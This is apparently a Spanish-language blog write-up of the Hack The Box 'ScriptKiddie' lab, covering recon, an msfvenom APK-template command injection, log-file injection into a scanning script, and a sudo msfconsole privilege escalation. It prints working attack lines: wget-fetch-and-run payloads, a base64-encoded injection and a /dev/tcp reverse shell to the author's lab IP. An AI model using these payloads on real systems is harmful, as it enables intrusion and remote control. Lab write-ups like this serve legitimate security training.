This page looks best with JavaScript enabled

Hack The Box - ScriptKiddie

ScriptKiddie es una maquina con dificultad Facil, obtuvimos acceso mediante la creacion de una plantilla apk para inyeccion de comandos. Mediante el analisis de codigo de la aplicacion web y scripts ejecutados por esta, realizamos una inyeccion de comandos para obtener acceso a un segundo usuario. Finalmente para obtener acceso como superusuario utilizamos los permisos sudo para ejecutar metasploit.

Nombre ScriptKiddie box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.226
Maker

0xdf

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[4.5, 3.4, 5.1, 4.9, 6.6],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[3, 4, 8, 2, 6],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

RECON

NMAP

Escaneo de puertos con nmap nos muestra el puerto ssh (22) y el puerto http (5000) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Nmap scan report for 10.129.72.163 (10.129.72.163)
Host is up (0.16s latency).
Not shown: 62106 closed ports, 3427 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap scan report for 10.129.72.163 (10.129.72.163)
Host is up (0.067s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Encontramos una pagina web en el puerto 80 donde se muestran 3 secciones.

  1. La primera opcion es para realizar un escaneo de puertos a una determinada IP utilizando nmap en su version 7.80.
  2. La segunda, genera un payload para Linux, Windows y Android utilizando lo que parece ser msfvenom, donde es posible subir una template para generar el payload.
  3. En la tercera, realiza una busqueda de exploits utilizando searchsploit.

Verificamos cada uno de los parametros por posible Inyeccion de Comandos e intentar descargar algun archivo en la maquina pero no logramos nada. Además cada vez que intentavamos ejecutar algun comando nos mostraba el mensaje stop hacking me - well hack you back.
image
image

El mensaje stop hacking me - well hack you back dejaba en duda si la maquina realizaba algun tipo de escaneo, ping o solicitudes a nuestra maquina por lo que utilizamos wireshark para analizar los paquetes y vemos que realiza un escaneo de puertos a nuestra maquina despues de enviar algun metacaracter o algo que no fuera una letra o numero.
image

KID - USER

MSFVENOM - APK TEMPLATE

Realizamos una busqueda de posibles vulnerabilidades para msfvenom y encontramos una vulnerabilidad de Inyeccion de comandos a partir de un template de APK lo que nos permitiría ejecutar una shell inversa. En el exploit, editamos y agregamos nun comando para descargar y ejecutar nuestra shell inversa en la variable payload, creamos el archivo que contiene nuestro comando, ejecutamos un mini-server con python y escuchamos el puerto con netcat.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#variable - payload
payload = '$(bash -c "$(wget -qO- 10.10.14.166/shell.sh)")'

#shell.sh
bash -i >& /dev/tcp/10.10.14.166/1338 0>&1

#local host
python -m http.server 80

#listen netcat port
nc -lvvp 1338

Generamos nuestro apk y lo enviamos como un template de Android ingresando una IP cualquiera.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
kali@kali:~/htb/scriptkiddie$ python3 exploit_apk_template.py 
[+] Manufacturing evil apkfile
Payload: $(bash -c "$(wget -qO- 10.10.14.166/shell.sh)")
-dname: CN='|echo JChiYXNoIC1jICIkKHdnZXQgLXFPLSAxMC4xMC4xNC4xNjYvc2hlbGwuc2gpIik= | base64 -d | sh #

  adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.

Warning: 
The signer's certificate is self-signed.

[+] Done! apkfile is at /tmp/tmpidnixpiw/evil.apk
Do: msfvenom -x /tmp/tmpidnixpiw/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

Logramos obtener una shell con el usuario kid y nuestra flag user.txt.
image
image

Tambien logramos obtener el codigo fuente de la aplicacion.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
import datetime
import os
import random
import re
import subprocess
import tempfile
import time
from flask import Flask, render_template, request
from hashlib import md5
from werkzeug.utils import secure_filename

regex_ip = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')
regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')
OS_2_EXT = {'windows': 'exe', 'linux': 'elf', 'android': 'apk'}

app = Flask(__name__)


@app.route('/', methods=['GET','POST'])
def index():
    if request.method == 'GET' or not 'action' in request.form:
        return render_template('index.html')
    elif request.form['action'] == 'scan':
        return scan(request.form['ip'])
    elif request.form['action'] == 'generate':
        return venom(request)
    elif request.form['action'] == 'searchsploit':
        return searchsploit(request.form['search'], request.remote_addr)
    print("no valid action")
    return request.form


def scan(ip):
    if regex_ip.match(ip):
        if not ip == request.remote_addr and ip.startswith('10.10.1') and not ip.startswith('10.10.10.'):
            stime = random.randint(200,400)/100
            time.sleep(stime)
            result = f"""Starting Nmap 7.80 ( https://nmap.org ) at {datetime.datetime.utcnow().strftime("%Y-%m-%d %H:%M")} UTC\nNote: Host seems down. If it is really up, but blocking our ping probes, try -Pn\nNmap done: 1 IP address (0 hosts up) scanned in {stime} seconds""".encode()
        else:
            result = subprocess.check_output(['nmap', '--top-ports', '100', ip])
        return render_template('index.html', scan=result.decode('UTF-8', 'ignore'))
    return render_template('index.html', scanerror="invalid ip")


def searchsploit(text, srcip):
    if regex_alphanum.match(text):
        result = subprocess.check_output(['searchsploit', '--color', text])
        return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
    else:
        with open('/home/kid/logs/hackers', 'a') as f:
            f.write(f'[{datetime.datetime.now()}] {srcip}\n')
        return render_template('index.html', sserror="stop hacking me - well hack you back")


def venom(request):
    errors = []
    file = None
    if not 'lhost' in request.form:
        errors.append('lhost missing')
    else:
        lhost = request.form['lhost']
        if not regex_ip.match(lhost):
            errors.append('invalid lhost ip')
    if not 'os' in request.form:
        errors.append('os missing')
    else:
        tar_os = request.form['os']
        if tar_os not in ['windows', 'linux', 'android']:
            errors.append(f'invalid os: {tar_os}')
    if 'template' in request.files and request.files['template'].filename != '':
        file = request.files['template']
        if not ('.' in file.filename and file.filename.split('.')[-1] == OS_2_EXT[tar_os]):
            errors.append(f'{tar_os} requires a {OS_2_EXT[tar_os]} ext template file')
        else:
            template_name = secure_filename(file.filename)
            template_ext = file.filename.split('.')[-1]
            template_file = tempfile.NamedTemporaryFile('wb', suffix='.'+template_ext)
            file.save(template_file.name)
    else:
        template_name = "None"

    if errors:
        return render_template('index.html', payloaderror='<br/>\n'.join(errors))

    payload = f'{tar_os}/meterpreter/reverse_tcp'
    outfilename = md5(request.remote_addr.encode()).hexdigest()[:12] + '.' + OS_2_EXT[tar_os]
    outfilepath = os.path.join(app.root_path, 'static', 'payloads', outfilename)

    try:
        if file:
            print(f'msfvenom -x {template_file.name} -p {payload} LHOST={lhost} LPORT=4444')
            result = subprocess.check_output(['msfvenom', '-x', template_file.name, '-p',
                payload, f'LHOST={lhost}', 'LPORT=4444',
                '-o', outfilepath])
            template_file.close()
        else:
            result = subprocess.check_output(['msfvenom', '-p', payload,
                f'LHOST={lhost}', 'LPORT=4444', '-o', outfilepath])
    except subprocess.CalledProcessError:
        return render_template('index.html', payloaderror="Something went wrong")

    
    return render_template('index.html', payload=payload, lhost=lhost,
            lport=4444, template=template_name, fn=outfilename)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

PWN - USER

Realizamos una enumeracion en la carpeta del usuario pwn y encontramos un script el cual realiza la lectura de direcciones IP o lo que contenga el archivo log que se encuentra en la carpeta de kid y escanea 10 puertos de las distintas direcciones en segundo plano, guardandolas en un archivo por separado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

Despues de dar vueltas por la maquina no encontramos algo de ayuda para cambiar al usuario pwn, pero en el codigo fuente de la aplicacion tambien se encontraba el archivo de log en donde realiza la escritura de la direccion IP que intentó “vulnerar” la aplicacion (stop hacking me - well hack you back), por lo que quizas este archivo solo se ejecuta cada vez que alguien intenta “vulnerar” la aplicacion.

1
2
3
4
5
6
7
8
def searchsploit(text, srcip):
    if regex_alphanum.match(text):
        result = subprocess.check_output(['searchsploit', '--color', text])
        return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
    else:
        with open('/home/kid/logs/hackers', 'a') as f:
            f.write(f'[{datetime.datetime.now()}] {srcip}\n')
        return render_template('index.html', sserror="stop hacking me - well hack you back")

Utilizamos pspy para verificar si este archivo era ejecutado, confirmamos que dicho archivo se ejecuta y lo hace el usuario pwn.
image

De cierta forma debemos de ejecutar comandos ingresando estos en el archivo /home/kid/logs/hackers para que scanlosers.sh lo ejecute, lo hacemos ingresando una fecha como lo hace la aplicacion o cualquier otra cosa pero que contenga un espacio y una direccion IP agregando nuestro comando entre punto y coma y finalizar con numeral (IP; comando ;#) de tal forma que cuando el archivo ejecute el escaneo a la direccion ip tambien ejecute nuestro comando y no ejecute lo demás.

1
2
3
4
5
6
7
8
#Original
#sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &

#[2021-02-07 02:06:28.242343] 127.0.0.1; id ;#
sh -c "nmap --top-ports 10 -oN recon/127.0.0.1; id ;#.nmap 127.0.0.1;id; 2>&1 >/dev/null" &

#Ejecucion
nmap --top-ports 10 -oN recon/127.0.0.1; id ;#

Agregamos nuestro comando de ejecucion de shell inversa al archivo hackers. Generamos el mensaje (stop hacking me - well hack you back) ingresando algun caracter como - en la busqueda de searchsploit para que ejecute nuestra shell inversa con lo que logramos obtener nuestra shell con el usuario pwn.

# echo "useless words 127.0.0.1; bash -c "$(wget -qO- 10.10.14.166/shell.sh);#" > /home/kid/logs/hackers 
useless words 127.0.0.1; bash -c "$(wget -qO- 10.10.14.166/shell.sh);#

image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando /opt/metasploit-framework-6.0.9/msfconsole. Ejecutamos msfconsole y logramos obtener una “shell” con usuario root y nuestra flag root.txt.
image
image

Share on

Dany Sucuc
WRITTEN BY
Dany Sucuc
RedTeamer & Pentester wannabe